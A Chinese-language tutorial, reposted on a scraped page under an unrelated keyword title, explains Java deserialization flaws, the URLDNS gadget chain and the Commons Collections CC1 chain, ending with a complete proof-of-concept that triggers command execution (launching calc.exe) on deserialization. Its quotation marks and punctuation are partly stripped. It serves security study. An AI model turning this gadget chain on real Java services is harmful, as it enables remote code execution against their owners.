汽车html静态网站陕西省建设监理协会查询官方网站
web/
2025/9/26 11:53:21/
文章来源:
汽车html静态网站,陕西省建设监理协会查询官方网站,access 网站开发,seo精灵1、序列化的实现
java序列化的是对象属性的#xff0c;只有实现了Serializable或者Externalizable接口的类的对象才能被序列化为字节序列。#xff08;不是则会抛出异常#xff09;#xff0c;静态成员变量是属于类的#xff0c;所以静态成员变量是不能被序列化的#x…1、序列化的实现
java序列化的是对象属性的只有实现了Serializable或者Externalizable接口的类的对象才能被序列化为字节序列。不是则会抛出异常静态成员变量是属于类的所以静态成员变量是不能被序列化的被transient 标识的对象成员变量不参与序列化。
2、重写readObject方法的原因
java.lang.Object └── java.io.InputStream └── java.io.ObjectInputStream 重写Override是指子类定义了一个与其父类中具有相同名称、参数列表和返回类型的方法并且子类方法的实现覆盖了父类方法的实现。重写好处在于可以根据父类已有的方法选择性去的重写比如父类有a,b,c,readobject()这四个方法但是你只希望使用readObject()方法进行重写你就可以只重写readObject()方法。
3、Java反序列化漏洞条件
共同条件继承Serializable 入口类因为反序列化一定会调用readObject()方法所以可以把readObject()当做反序列化的入口所以我们要找一个类作为入口类这个类必须继承Serializable然后重写readObject重写的这个readObject最好调用常见的函数参数类型宽泛Object 类最宽泛,接口类例如HashMap随便存放各种参数最好是JDK自带的类这里是因为要对方的服务器上也存在这个类才可以 调用链gadget chain 相同名称相同类型 执行类rce ssrf写文件等最重要
URLDNS链分析
思路URL这个类有解析DNS的的方法通过调用类中的hashCode里的getHostAddress(u);方法可以直接解析dns若想通过构造恶意类来攻击目标服务器实现DNS解析可以考虑此方法。但是反序列化一定会调用的是readObjet()方法也就是上面提到的readObject()当做反序列化的入口所以我们要找一个类作为入口类这个类必须继承Serializable然后重写readObject。这里如果你想到用URL类下自带的readObject方法这个入口选择是错误的如下图所示。 从图中我们可以看出URL类中的readObject并无可以进一步利用的函数“常见的函数参数类型宽泛Object 类最宽泛,接口类例如HashMap随便存放各种参数”因此我们就想找其他类作为入口中间如果有相同名称相同类型可以构造调用链来解决。去找新的入口类调用hashCode方法发现HashMap类下有有一个hash函数调用了hashCode并且右键hash查找用法发现了readObject构造链已经确定。HashMap——readObject()——hash()——hashcode() POC
一开始是这样写的如下图如 debug发现序列化的时候就会解析DNS原因是因为URL里的hashCode会默认hashCode-1导致进去hashCode去解析DNS。 但是在反序列化的时候我们给URL之前默认给的值是1这样URL下的hashCode方法就不会去执行调用handler.hashCode去解析DNS导致我们构造的恶意类无用。因此考虑在调用hhandler.hashCode之前把hashCode改为1然后再反序列化之前再把hashCode改为-1。
CC1链分析
首先找到Transform这个接口类看他的实现方法有哪些 在InvokerTransformer类调用的transform方法发现此方法的类参数类型值都是可控的类似于后门可以创建实现任意类这里我们把他当做sink 进一步查找有无通过readObject方法调用transform方法的找不到因此找中间方法找到了TransformedMap类下的checksetvalue方法调用了transform valueTransformer.transform(value);这里简单分析一下当valueTransformerInvokerTransformer valueRuntime.class便可实现命令执行。 这里通过valueTransformer构造方法传参
继续去找调用了checkSetValue方法的类在这个AbstractInputCheckedMapDecorator抽象类下的静态类MapEntry调用了setValue
这里我们可以发现 MapEntry extends AbstractMapEntryDecorator public abstract class AbstractMapEntryDecorator implements Map.Entry, KeyValue Map.Entry还是接口类 知识点:接口类必须被实现抽象类的方法只能由子类实现 所以调用MapEntry类中的setValu方法其实调用的是MapEntry下的setValue() 然后再次去寻找那个类下的readObject()方法调用了setValue()方法在AnnotationInvocationHandler下发现了readObject方法并且调用了setValue() 下图是根据以上调用链条写的POC
这里进入调用setValue()首先要满足两个if条件 这是 在调试代码的时候发现我们传入的memberTypes为空 通过此行代码可以发现 Class? memberType memberTypes.get(name); 他是从传入的mmberType通过get方法查找有无对应的参数 下图我们可以看到Override类里并没有方法调用所以我们这里考虑换一个有调用方法的类 这个地方把key改成value
调试代码显示memberType已经不为空了 然后在想如何绕过第二个if 这里就要利用到了Transformer接口实现的另一个类ConstantTransformer它实现了transform方法无论输入对象是什么他都会返回参数构造中的固定值
但是你会发现你不仅要调用创建InvokerTransformer还要调用创建ConstantTransformer如何解决这个问题呢这时候利益用到了Transformer接口实现的另一个类ChainedTransformer他的transform方法是一个递归调用transfrom方法正合适可以拿来给我们使用 调用setvalue方法你会发现传入的参数是无效的参数这时候就巧妙地用到了constantTransformer.transform() 方法因为这个方法不管参数是什么他最终都只会返回 iConstant 对象我们把这个类里的 iConstant 赋值为 Runtime 对象就可以使链条闭环
同时这里还有一个问题Runtime类没有继承Serializable所以要通过反射来实现这里想到InvokerTransformer的transform可以实现任意类因此通过此方法实现Runtime类来实现命令执行
最后测试 成功 完整POC
package com.example.fastjson122.demos.web;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;public class TestCC1 {public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException {//Runtime.getRuntime().exec(calc);Runtime rRuntime.getRuntime();
// Class cRuntime.class;
// Method execMethodc.getMethod(exec,String.class);
// execMethod.invoke(r,calc);Transformer[] transformernew Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer(getMethod, new Class[]{String.class, Class[].class}, new Object[]{getRuntime, null}),new InvokerTransformer(invoke, new Class[]{Object.class, Object[].class}, new Object[]{Runtime.class, null}),new InvokerTransformer(exec, new Class[]{String.class}, new Object[]{calc.exe})};ChainedTransformer chainedTransformernew ChainedTransformer(transformer);//Transformer transformer new InvokerTransformer(exec, new Class[]{String.class}, new Object[]{calc});HashMapObject,Object mapnew HashMap();map.put(value,value);MapObject,Object transformedmapTransformedMap.decorate(map,null,chainedTransformer);//transformedmap.put(1,Runtime.getRuntime());
// for(Map.Entry entry:transformedmap.entrySet()){
// entry.setValue(r);
// }Class cClass.forName(sun.reflect.annotation.AnnotationInvocationHandler);Constructor annConstructorc.getDeclaredConstructor(Class.class,Map.class);annConstructor.setAccessible(true);Object oannConstructor.newInstance(Target.class,transformedmap);serialize(o);unserialize(ser.bin);}public static void serialize(Object obj) throws IOException {ObjectOutputStream oosnew ObjectOutputStream(new FileOutputStream(ser.bin));oos.writeObject(obj);}public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {ObjectInputStream oisnew ObjectInputStream(new FileInputStream(Filename));Object objois.readObject();return obj;}}
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/81558.shtml
如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!